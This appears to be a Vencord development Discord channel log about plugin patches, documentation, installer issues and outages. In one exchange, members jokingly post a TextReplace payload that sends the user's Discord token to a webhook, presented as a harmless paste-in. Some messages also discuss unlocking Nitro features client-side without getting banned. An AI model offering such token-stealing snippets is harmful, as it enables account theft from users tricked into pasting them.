#👾-core-development
1 messages · Page 128 of 1
I'm also not able to stream at a decent frame rate, 60fps does not work and it does not even seem to be remotely close to 30.
the docs could use an update, though we should be seeing docs.vencord.dev soon
Vencord user and developer documentation. Contribute to Vencord/Docs development by creating an account on GitHub.
ty, but i don't use vs code, notepad++ my beloved
i dont think so but dont quote me on that
not using anymore
oh
i should archive that xdz
but
this PR and branch hold the docs stuff atm
but it cant be merged until the docs are
well
written
update them
let me make one more commit and then you can go wild if u wanna
ok
alright go nuts
feat/docs branch as base, docs can be written in src/content/docs/
open a PR and i'll review and merge
@austere talon it's beginning to look like a real docs site
the headers need their line heights and font sizes adjusted though, but we already knew that xd
we just never had enough body copy for us to care
but now we do
Same here, I can't even stream in 30, it's like a slideshow. The issue is not present on the native client.
19f435b style: mute the edit icon by default - lewisakura
As we all know YouTube VC integration has a tons of ads if you don't have nitro, and I've read that even if you have nitro you get ads in some regions.
It would be a great addition to have it either integrated into vesktop or as a plugin where we could turn on adblock for that. Wouldn't have to switch to a browser(Since ublock does block them in a browser.) for youtube vc sessions.
this is a plugin request, so the vesktop repo is not the right place
i think discord broke something again
yeah im suddenly getting a lot of patches that have no effect
yeah showmeyourname is broken and viewicons is partially broken all of a sudden
also they removed some profile effects
Halloween exclusive
Note that regardles of whether this is added, there should already be a volume control for the streamed audio somewhere in the stream UI.
MessageDecorationsAPI (had no effect):
ID: 93332
Match: /currentUserIsPremium:.{0,70}{children:\i(?=}\))/
ShowMeYourName (had no effect):
ID: 93332
Match: /(?<=onContextMenu:\i,children:).*?\}/
ViewIcons (had no effect):
ID: 763866
Match: /\{src:(\i)(?=,avatarDecoration)/
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
unreal
MessageDecorationsAPI (had no effect):
ID: 93332
Match: /currentUserIsPremium:.{0,70}{children:\i(?=}\))/
ShowMeYourName (had no effect):
ID: 93332
Match: /(?<=onContextMenu:\i,children:).*?\}/
OpenInApp (had no effect):
ID: 128259
Match: /(?<=handleClick:function\(\)\{return (\i)\}.+?)async function \1\(.+?\)\{/
ViewIcons (had no effect):
ID: 763866
Match: /\{src:(\i)(?=,avatarDecoration)/
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
WebContextMenus (had no effect):
ID: 399758
Match: /return \i\.\i\?/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
i should probably use css grid for this instead of like 7 flexboxes
yes grid is very useful
Note that regardles of whether this is added, there should already be a volume control for the streamed audio somewhere in the stream UI.
I'm aware, but thank you anyway. In my case I can use my hardware mixer to quickly adjust the volume levels of individual streams and applications, so long as I can map the audio to an audio device. It's just a lot quicker and more convenient for me to adjust the volume that way.
there seems to be these two issues that i could see in latest update:
- [
ViewIcons] can't open someone's pfp in full screen in latest update by clickimg their profile picture (might be known already given the errors seen above sent by the reporter webhook) - [
PlatformIndicator] your own platform again doesn't show for you, and others' doesn't show near their name in chats
MessageDecorationsAPI (had no effect):
ID: 93332
Match: /currentUserIsPremium:.{0,70}{children:\i(?=}\))/
ShowMeYourName (had no effect):
ID: 93332
Match: /(?<=onContextMenu:\i,children:).*?\}/
ViewIcons (had no effect):
ID: 763866
Match: /\{src:(\i)(?=,avatarDecoration)/
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
MessageDecorationsAPI (had no effect):
ID: 93332
Match: /currentUserIsPremium:.{0,70}{children:\i(?=}\))/
ShowMeYourName (had no effect):
ID: 93332
Match: /(?<=onContextMenu:\i,children:).*?\}/
OpenInApp (had no effect):
ID: 128259
Match: /(?<=handleClick:function\(\)\{return (\i)\}.+?)async function \1\(.+?\)\{/
ViewIcons (had no effect):
ID: 763866
Match: /\{src:(\i)(?=,avatarDecoration)/
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
WebContextMenus (had no effect):
ID: 399758
Match: /return \i\.\i\?/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
Keep the old setting in the types but don't make it editable by the user, and migrate the old option to the new option if the old option is set and the new option isn't
fixing smyn and msg decorations
already did msg decorations @olive aurora
smyn is on the same module
I'm gonna fix view icons
did u push
whar
wdym
yop
Allows plugins to inject into discord frames. This is done by creating ipcPlugin.ts inside the plugin folder. This must have the same name as the plugin it belongs to. The plugin will be injected into frames specified by the matcher param. I have migrated fixSpotifyEmbeds, and included #1742 as a proof of concept
FUCJK i pr'ed it to main
:3 (this works, i didnt include it in the pr tho for obv reasons)
@limber skiff push ```diff
(dev!) rini vencord % git diff
diff --git a/src/plugins/showMeYourName/index.tsx b/src/plugins/showMeYourName/index.tsx
index 6986f69..62d0645 100644
--- a/src/plugins/showMeYourName/index.tsx
+++ b/src/plugins/showMeYourName/index.tsx
@@ -47,7 +47,7 @@ export default definePlugin({
authors: [Devs.Rini, Devs.TheKodeToad],
patches: [
{
-
find: '"Message Username"',
-
find: ".useCanSeeRemixBadge)", replacement: { match: /(?<=onContextMenu:\i,children:).*?\}/, replace: "$self.renderUsername(arguments[0])}"
i was gonna pr it w viewicons trolley
w change
why do it like this?
i think it would make much more sense to instead allow plugins to have a native.ts file and have arbitrary nodejs code in there
then we could provide some native apis you can use there for your specific use case
rce plugin soon
I love how selecting them navigates you to hidden channel screen
just push to main whenever u finish fixing
im not gonna do anything today
not sure if I will fix everything today
static layout works fine to keep render loading image but it isn't responsive if discord window width is too small
haven't found a way to keep both yet
yopppp
merge in 3.5 picoseconds i will migrae all of my userplugins and 1901
ipcPlugin is kind of a misleading name for this IMO, it doesn't seem to inject into the ipc (what?) and doesn't inject into main, but into subframes
(at least if I'm understanding correctly)
nop
add vcs
i find this too oddly specific
i think it would be much more logical to instead allow plugins to have a native.ts file. this file would be bundled into the nodejs code. any exports of this file would automatically be turned into ipc methods. we could then export some apis from src/main that you would be able to export from there for doing things like this
Example:
native.ts
export function doThing(foo: string, bar: number) {}
now we would make the bundler import thi...
you conviniently own the servers
Was scratching my head how you would do the re-auth in the Discord Client because it was a couple of months ago since I last touched it. Just leaving it here in case anyone was wondering too:
Settings > Vencord > Cloud
Disable and Enable the Cloud Integrations again.
Oh I've already solved it thanks to @Vendicated but forgot coming back here lol sorry 4 that
True
Free discord avatar decor plugin when😭
oh if only someone was working on it
(i sense that someone is working on it)
There’s already one but in development
no
If u know how to build vencord yes
there are more to do
what
💀
how would i go about getting the element of a certain message
i cant seem to find a way
for what purpose
(i loaded this channel to that)
site doesn’t even exist
LMAO
nohiddenmessages doesnt fully delete the message element
leaving an unsightly space
so i want to remove the parent
fix the patch to apply to the parent instead
its gone 😔
BestCord wasnt best enough
it seems there is a problem with the patch
they nuked everything
horror
repo ,website
wth was that
i dmcad 
VencordPlus still staying strong
kill
never
MessageStore no longer appears in the same file
horror
neither does ReadStateStore
nvm
I am really missing the maximise window button. The thing is , when I am playing a game at 2560x1440 on my 4k screen , Vesktop is set to 2560x1440 as well, and there is no way to resize it back to 4k.
I hope it is not too much work for you to look at, would really appreaciate it. Thanks!
? maximising is already a feature. if you are using transparency, that's why. electron limitation
yeah i give up this is way too hard for my dumbass brain

there goes my only chance of ever getting contributor 🥲
i think this part is the thing that needs to be replaced
you got the better contrib role
thanks
good luck to whoever may pick this up
i sincerely hope this helps in some way
no
at least i tried
piss
*better contrib role 
there literally is a buttom for that?
qhar
unless im misremembering
ion mean mark all i swear there was an individual button for channels
never
YEAH THAT
thanks, interesting. Well i need it for the Mentions tab
leave it to dc to fuck that up
so maybe it’s a pretty easy copy-and-paste from the Unreads tab
oh here’s another one: double checking whether Inbox entries are even supposed to be there wrt. notif settings
or am i the only one with that bug?
you think i haven’t turned that off?
wrt. notif settings
yeah it happens every once in a while
maybe twice a week; being on 90 servers
maybe with a comparable frequency to that plugin announcing you’ve been kicked off a big server when you haven’t
oops i’m on 98 actually, high time to clean up again X~X
registerNativePlugin()
or smth
either way letting plugins do that is what's lacking rn 
not even
Hey, i wanna delete a specific message, how could i do it?
what
a self written message like a message in a channel
you right click it. Anyway you’re in the wrong channel.
#🏥-vencord-support-🏥
findByProps("deleteMessage", "sendMessage").deleteMessage(channelId, messageId)
ah lmao
alr thx 👌
are u ok
Ah i see
so if i understand right it'll run through all the plugin's native files and add to the nodejs side
yes
i’ll make msg embeds foldy css when i get around to it (never?)
b60368c Bump golang.org/x/image from 0.1.0 to 0.10.0 - dependabot[bot]
Bumps golang.org/x/image from 0.1.0 to 0.10.0.
Commits
cb227cd tiff: limit work when decoding malicious images
a5392f0 bmp: support to decode 8-bit format with up to 256 color palette
f9550b0 go.mod: update golang.org/x dependencies
81c166c go.mod: update golang.org/x dependencies
ed5dba0 go.mod: update golang.org/x dependencies
08ca817 font: have Glyph return !ok for U+FFFD substitute
b6ac75b go.mod: update golang.org/x dependencies
1b74412 font/sfnt: set...
@austere talon wake up new cve just dropped
nop
OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version.
If you change your mind, just re-open this PR and I'll resolve any conflicts on it.
Not the commit message before the branch was created💀
gh webhook always does that
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
OpenInApp (had no effect):
ID: 128259
Match: /(?<=handleClick:function\(\)\{return (\i)\}.+?)async function \1\(.+?\)\{/
TypingTweaks (had no effect):
ID: 125667
Match: /(?<=(\i)\.length\?\i.\i\.Messages.THREE_USERS_TYPING\.format\({\i:(\i),\i:(\i),\i:\i}\):)\i\.\i\.Messages\.SEVERAL_USERS_TYPING/
WebContextMenus (had no effect):
ID: 399758
Match: /return \i\.\i\?/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
how can i get react to not precompute my css calc functions?
should be linear-gradient(90deg, #f00, #ff0 calc(100% / 6), #0f0 calc(100% / 3), #0ff 50%, #00f calc(200% / 3), #f0f calc(500% / 6), #f00)
whar?
what's the point of calc(100% / 3)
isn't it just 33.333%
i highly doubt react would bother trying to precalculate styles
yeah it dont really matter cuz thats good enough but its strange that its precomputing them
i can manually put in what it shouldve been in devtools
so it has to be react doing it
i believe this will get fixed 🙏
click on the error location what plugin is it
skill issue ha
j
file name so bad
can we make esbuild rename the file in sourceMaps
i wonder
@austere talon btw platform indicators broke in dms
wdym
ah that's fixed in dev
also show me your name too?
yeah
ah okay
ven 👁️
i should disable vns here
0 tolerance
fair enough haha
y'all i haven't the foggiest what even causes it but do you think vencord and/or vesktop could fix discord's absolute dogshite scrolling
whar
i hate having the scroll past the same message 4 times before it actually starts scrolling
heh
scroll moment
maybe try ✅ Reduced Motion
where's that- and what does it actually do lol
dc accessibility settings
it does various things, like reduce animations
as a side effect of sorts, makes client snappier and fixes scrolling
profile effects won’t impede readability
one thing that messes heavily with scrolling is WhoReacted plugin
oh thats handy knowledge
WhoMessedHeavilyWithScrolling:
Changes:
- Add a missing dash at step 5
- Modified step 4 ports to
- "8080:8080"from- HOST_PORT:8080because docker-compose was throwing error saying it's an invalid type
hackvemberfest
44b2139 gifPaste: fix unable to use gif picker in profi... - AutumnVN
fa9da2d noMosaic: play video inline + optional media la... - AutumnVN
the typing tweaks one is so hard to fix
horrible
their insane bundler
docker compose is correct, if it's not available you need to update your docker
the intent was that you define your own host port here, not copy and paste it literally, but it could be expressed better
help lewi why no work??
!!!!!!!
i ran patch helper again
should be all fixed now on stable
too lazy to fix canary shit
this one was such a strange one to me
yes docker-compose is the old command
i didnt know docker compose was real
but if that's still the command you're using, you're really out of date
yeah docker-compose -> docker compose now
its an alias
is docker-compose deprecated?
the original script is yeah, because it became a builtin
ya but i mean
syntax is the exact same, just with a space instead of dash
is docker-compose a deprecated alias
docker-compose just aliases
it's there for backwards compat
nothing else
new art should use docker compose
the fact that their bundler does this is scary
fr
i dont even want to parse this
well ig it normally doesnt apply because they wouldnt have their object keys named with one letter usually
only in this specific case
reporter sooo slow
NO
for the small price of Markdown files
I WANNA SLEEP
then go sleep giiiirl
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
good
i didnt 
cant believe vencord docs are real
have you seen the new changes i put in btw
the css absolutely sucks balls for it (idk how to do it properly :3) but i think it looks nice
OpenInApp (had no effect):
ID: 128259
Match: /(?<=handleClick:function\(\)\{return (\i)\}.+?)async function \1\(.+?\)\{/
WebContextMenus (had no effect):
ID: 399758
Match: /return \i\.\i\?/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
I have the latest docker version but when I run without the dash it outputs the docker help docs
Idk, for me it thrown error
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
probably because you copied and pasted it literally, which you aren't meant to do.
OpenInApp (had no effect):
ID: 128259
Match: /(?<=handleClick:function\(\)\{return (\i)\}.+?)async function \1\(.+?\)\{/
WebContextMenus (had no effect):
ID: 399758
Match: /return \i\.\i\?/
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
I don't use the desktop version tho. I run my stuff on a remote server
When I also try to run sudo apt-get install docker-compose-plugin I get E: Unable to locate package docker-compose-plugin
silly timing
would synergize well with nnn
recreated the discord color picker
from scratch??
yeah its just simple linear-gradients
besides the modal components im only using divs
why tho 
because people with nitro ads hidden wont see the color picker on the profiles settings page
On Linux (GNOME/Wayland), screensharing seems to open up a 2 separate source selection windows:
The first one comes up and whatever shows up here ends up as the preview image for the Screenshare modal. If I pick the audio device and hit Go Live, then another selector pops up asking me to choose a different window. Whichever one I pick here ends up being what's shared to the channel. It's as if...
With Ubuntu server at least it works could be your package list is outdated or isn't on your version for me personally I use both v1 and v2 as I'm lasy asf and have the docker-compose up -d saved
electron issue, nothing we can do other than wait for fix unfortunately
There’s an exact one in the usercss pr, I just stole it from that
i removed style because it already has pointer without that
shoutout to autumn
does this work?
replace: (m, props) => `${m}${props}.onClick??=()=>$self.openImage(${props}.src);`
they all dont have onClick
uhh what is ??=
Assign if undefined
i mean the plugin makes any avatar that next to status dot open image, and they all dont have onClick
a ??= b is a = a ?? b which is basically a = a == null ? b : a
so that will be same as the old one, because none of them have onClick
??= assigns only of its undefined
so if there is already a onClick it won't overwrite
not work, they dont have onClick so all of them will just open image like before pr
these will open image and profile as same time
yes
nuckyz 

@olive aurora so greedy
that wasn't okay for you to eat 
code is not even edible...
#🗒-textreplace-rules message @devout hinge
by brother in christ just do \™️
not every keyboard layouts have it
wtf keyboard layout doesnt have :
?
lol
thx lol
- if you're using windows, hit
ctrl+.for a symbol picker that has tm - Try
AltGr+Shift+8
yeah yeah i knew these lmao it was mainly for people who didn't
#1032200195582197831 message @boreal helm
can this get one banned?
i have no clue, use at your own risk
realistically i don’t know how much telemetry discord takes, but unless you do other things to get on their radar, i doubt they’ll look at you in depth enough to find out
this isn’t the only plugin that takes a nitro feature; sure this affects their bottom line slightly more, but in the end it is client side, and like i said, they probably won’t look into you that deep unless you piss off some trust and safety people or something
tldr don’t do anything dumb, don’t show off your effect or explain it anywhere that might get you reported, like an official server or something
when you see it
latest update to ViewIcons erroneously allows icons to be opened when clicking someones pfp in mini profile to open full profile and when clicking on someone's pfp in the member list alone
I hope this gets merged, I got too busy to finish mine lol
Content
I was searching for a faking Deafen feature for Discord I found some plugins for it on GitHub but couldn't find it on Vencord.
So I'm requesting to add this feature for Vencord.
Request Agreement
- [X] I have read the requirements for opening an issue above
☠️
First of all, this issue is very similar to #12 but it was closed. Running sudo VencordInstallerCli-linux gives me the following output:
VencordInstaller was run with root privileges, actual user is misturket
Looking up HOME of misturket
Actual HOME is /home/misturket
Using UserConfig
Checking if /root/.config/Vencord/dist exists: Yes
Is Dev Install: false
Fetching https://api.github.com/repos/Vendicated/Vencord/releases/latest
Checking if /opt/discord/resources exists: Yes
C...
use install.sh:
sh -c "$(curl -sS https://raw.githubusercontent.com/Vencord/Installer/main/install.sh)"
I dont like that
why did u change the way the patch works 
if you try to lock a deleted issue it causes a 500 server error
i tried locking it just as you deleted it
I tried to make it the most top level possible to avoid issues
but I didnt expect it to be this much haha
yeah idk where it targetted though
and discord has duplicate code so I wasnt sure what to patch
NO
bad
why even monkey patch
nor bad about performanceee
because makes patching functions soooooo easy
no
I want after patch
you have less control on where your function is getting called from
regex patching is easier
HOW
less control of the variables it uses
regex patching isnt even hard
ven loves writing
onClick.(.{1,3}),
replace: blablbla, $&
and less shitty props.children.children[2].children.props.children
yes, it's so easy
you love writing res.props.children[2].props.children.props.onClick = explode
I'd rather
patcher.after(NotifyStore.shouldNotifyBase, (ctx)=>....)
THAN THIS
you will explode
reported it, couldnt find anything else on it
@pine topaz you dont exist

P0WNED!!!11
its a fun reverse engineering project
regex patching made me question my existence and caused major depression
monkey patching react stuff is big nono
but for other stuff its beautiful

manti! why dont you help write the docs so there's an amazing guide on how to do it properly!
regex patching made me question my existence and caused major depression
never
I am already comfortable with regex patching
but bleh its unneccesarily complex
and also way less reliable
(unless discord nukes prop names again)
not even true, many plugins didn't break for a year
regex patching is very robust
DONT MAKE MANTI WRITE DOCS
THEY WILL BE ABOUT HOW TO MAKE THE 42ND -DB PLUGIN
so true
well yes but that doesnt mean they cant get broken less
vencord doesn't break any more than normal mods tbh
Hello guys today we will learn how to make a DB plugin
like two plugins break per week normally
wellllllllllllllll whatever
same happens on other mods
Mantitorials
it wouldnt even add 1kb to size
and wouldnt worsen performance
so good to have ig
HealthDB
just forbid using it with react components
@turbid hatch btw docs explanation for \i is wayyy to big
yes
I will take away your soul
oh lmao
@austere talon I think I got a new DB plugin idea
NO
welcome to docwriter club
I wanna write guide to finding where to patch first
then making your match and replace
reviewdb gets billion reports when it gets added to vencord
I have gotten lazier in the past month
nop
I feel lazy
sounds good
PR into feat/docs
if u need help ask me in #📜-doccer so i can keep it in one place
I mean about reports
aight, I will try to unlazy soon
I dont want to waste a hour looking at reports everyday again
not issues
reviewdb reports
i always put bugs i find in here in hopes that a contributer will see and fix it for next update 😭 idk where else would be better tho
Client mod agnostic 🙏
ik, I have to fix it
Write better regex
dis
cord
shittin
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
DID THEY BREAK DMS
@austere talon dm me
wholesome shitcord moment 🙏🏿
i can dm other people
did everyone block me
RESTART DISCORD
mass mantika block
HELP
that's what you get for monkey patching
do not monkey patch the websocket connection

(I totally havent broken vencord as a whole in production regex patching code that runs on CONNECTION_OPEN)
why did they disable my account temporarily 
Discord will ask you to verify phone and then if you keep doing shit after that you get disabled
It's never insta ban with no warning
You should open devtools
don't monkeypatch 
get blasted nerd
And look for gateway reconnect messages
Well also same issues in #🏥-vencord-support-🏥
alive
discord broke everyone get back to skype

their system is shitting itself for some reason
Time to un-ditch teamspeak and skype
nop
i blame this on manti
do not blame discord for your monkey patch
I DIDNT USE MONKEY PATCH
Some staff read your suggestion about monkey patching and tripped over the cables
Clearly your fault
me when i Object.prototype = Object.create(null)

a story in three parts
can i have jetbrains writerside role https://cdn.discordapp.com/emojis/1076697194993827981.webp?size=48&name=Cutie&quality=lossless
i wanna help on docs
While install.sh script works perfectly fine, I would suggest removing the relevant section from https://vencord.dev/download if the CLI installer will not be supported.
install.sh is powered by the CLI installer, so it's very much supported, but i agree the wording on the site could be better
welcome to the writerside
it's not lewi
the CLI installer works in the same way with the environment variable setup, so you should be overriding
XDG_CONFIG_HOMEwith your own
Explicitly mentioning that on the install page would be great, thanks!
i'll go fix it
it should just forward XDG_CONFIG_HOME
it also does it when pressing VIEW PROFILE
this thing
or we could just make a separate cli launch script
alice@wonderland ~> sudo TEST="$TEST" env
[snip]
TEST=a
alice@wonderland ~> sudo env
[snip]
alice@wonderland ~>
it doesnt
lewi no
lewi yes
Looking up HOME of misturket
Actual HOME is /home/misturket
Using UserConfig
Checking if /root/.config/Vencord/dist exists: Yes
we're already working out the home dir
yes?
sudo XDG_CONFIG_HOME="$XDG_CONFIG_HOME" ./installer
y
yeah thats
not on the website
that was what i was going to add
im so confused lol
that's what im saying
??????
^
tired
it'd be more logical to just write a separate bash script that launches the cli imo
or edit the normal script to let u choose between gui and cli like Windows
alternatively use sudo -E but that's meeeh
probs
but for now this works
also sudo -E is a bit
eh

Content
title (please)
Request Agreement
- [X] I have read the requirements for opening an issue above
er
oh github is broken
wait
do you use ublock?
oh okay nvm
turning off ublock fixed it for me and then it started breaking again so its unrelated xd
oddly enough using incognito mode works fine
until i click around
oh
everything is fucked
WAIT
LOL
HOLD ON A MINUTE
THEY PUSHED A FIX
TO FIX SLACK NOTIFICATIONS
AND THEN THE ENTIRE SITE DIED
ian deployed again
they cooked
ian strikes again

can i just say
its literally right on schedule
30 minutes after the slack stuff was meant to be fixed
everything died
yeah cloudflare is down how could you tell
not sure
literally everything is broken
maybe just
of course it happens on a friday
LMAO YES
cloudflare and github dead
i forgot it was a friday 💀
the end of world is near
oh god
github
does
not
use
cloudflare
cloudflare is not down, either
only the API/dashboard, which does not affect the main service
nothing works
can't wait for the kevin fang video on this
how github's slack notification system broke the entire site
can’t wait for discord to follow and go down
or the arguably much worse problem of cloudflare being down
fuck it the entire internet infrastructure
+100
somebody lost their job 🗿
the intern who deleted a line of code:
my bad
as part of these changes
they pushed something relating to authentication too
what is tl;dr
and it just broke
too long didnt read
just after 30 minutes
im reading through github status on your behalf
yes i did point this out xd
^^
the intern who tried to fix a FIXME:
idk but im gonna go recruit people into my documentation crew now
what no
discord caused nonsense errors
cloudflare api and dashboard exploded
now github is dead(and fixed) too
you have to make an exception for this
holy fuck the cloudflare outage is still going
wild
first day as cloudflare intern
try to fix FIXME
internet explodes
can't fix cause cloudflare is down and you can't access any website
:3
you know statuspage.io has the opportunity to do the funniest thing rn
i can access it but all the analytics data is fucked
its perfectly reproducible with textreplace
i’ve been trying to just set my site up for like 13 hours
decor survived throughout despite being pretty reliant on cloudflare
annoyance
it's just api and dashboard
I know
none of the other services are affected
it's impressive how they lost a core datacenter and only lost dash and api
what even happen
Lost power to a core north america datacenter
that's bad
yeah everything else prolly runs on multiple servers
yeah it's impressive
i believe my tunnel is connected to 4 different datacenters rn 
we should make the gui installer look like this so it's easy for babies to understand
it's randomised
js expression support for TextReplace 
definitely won't be abused
paste this silly thing into textreplace to make everything shig
Find: *.
Replace: `fetch("[webhook]",{method: "POST",body:window.localStorage.key("token")});`
LOL people would put their own plugins in textreplace
${Math.random()<.1?window.localStorage.key("token"):""}
yeah they delete local storage
no it just deletes it
dont think it's exported
yeah
it's just saved for internal use
it's in all the requests ofc
Vencord.Util.localStorage
hm
why does that cause a logout then if they are just deleting the API
why does my token start with the video id for never gonna give you up
nono I'm talking about different things
discord deletes localStorage from the window obj
and they also delete ur token from it when you open devtools
on the topic of docs
is there any place where you discuss it or is it just random bullshit go atm
I'd also be happy to join
yeah
im reserving it for active contributors atm, sorry
ok
yeah fair enough
@boreal helm why not use 3y3 for your faeffect plugin
like the free profile colors plugin does
if ur talking about profile effects, ive already done it
how'd i do stuff like a language translation using plugins? i want to a language translation but it's a constructed language so discord will not add it to their platform (toki pona, if you're interested)
oh this is vencord dev, i'm assuming this is a fine place to ask for plug-in help?
you mean add like a new language to discord
yeah, pretty much
it doesn't need to be in the menu, all it really needs to do is be a plug-in that changes the text in certain areas
for example
"Message #general" would be "o toki lon #general", etc
all the text values are stored in variables
find the text you want to change and search in the devtools search tab
you should find a file that contains all of those text vars
then u can replace them with patches
and then change it using a script?
i've literally done no js by the way, so i might need more help
ahh
0 js required
this shows u how patches work
me when i lie
you need atleast basic knowledge of js to setup the plugin and know what to / make the patch
there is a template on the page i linked
so really all you need to know is regex
and know what to / make the patch
they are just replacing the localization variables
i thought they were adding a new
not replacing
i absolutely would've but fpt's 3y3 takes up enough space, and i wanted to be conscious of people who actually like having shit in their bio
just convert the snowflake into some base
like
ive already done that with base125
there are 126 3y3 chars, i use the 126th as the sep
even then it still takes up a lot of characters because discord counts the tag chracters as more than one character
^
for example
w/ my bio and 3y3 for fpt
i only have about 22 characters left
that's not really great if i want to put anything else significant there
wtf is base125
on my plugin a non backwards compatible 3y3 string with a unique primary color and unique accent color plus an effect id takes up 38 chars out of 190 in the bio
if you really want the invisible characters you can feel free to push something to the repo, but at this point i mostly just did it as a proof of concept, so i'm probably not gonna overhaul it
it has like 50 rolls of duct tape on it but it works
and a backwards compatible one with all of that takes 54 chars in the bio
so ive kinda hit the limit
anything more than theme colors and effects would take too much space
plus there are already plugins for avatar effects, pfps, and banners
feel free to test faeffect anyway but if you're too concerned abt your bio looking clunky then just
don't
lol
btw i already made a plugin that does the fake profile effects
https://github.com/Vendicated/Vencord/pull/1930
would be nice if it gets merged some day
i'm really happy for you but i was already working on this and finished with it before that lol
if you get merged then it's no chip off my shoulder










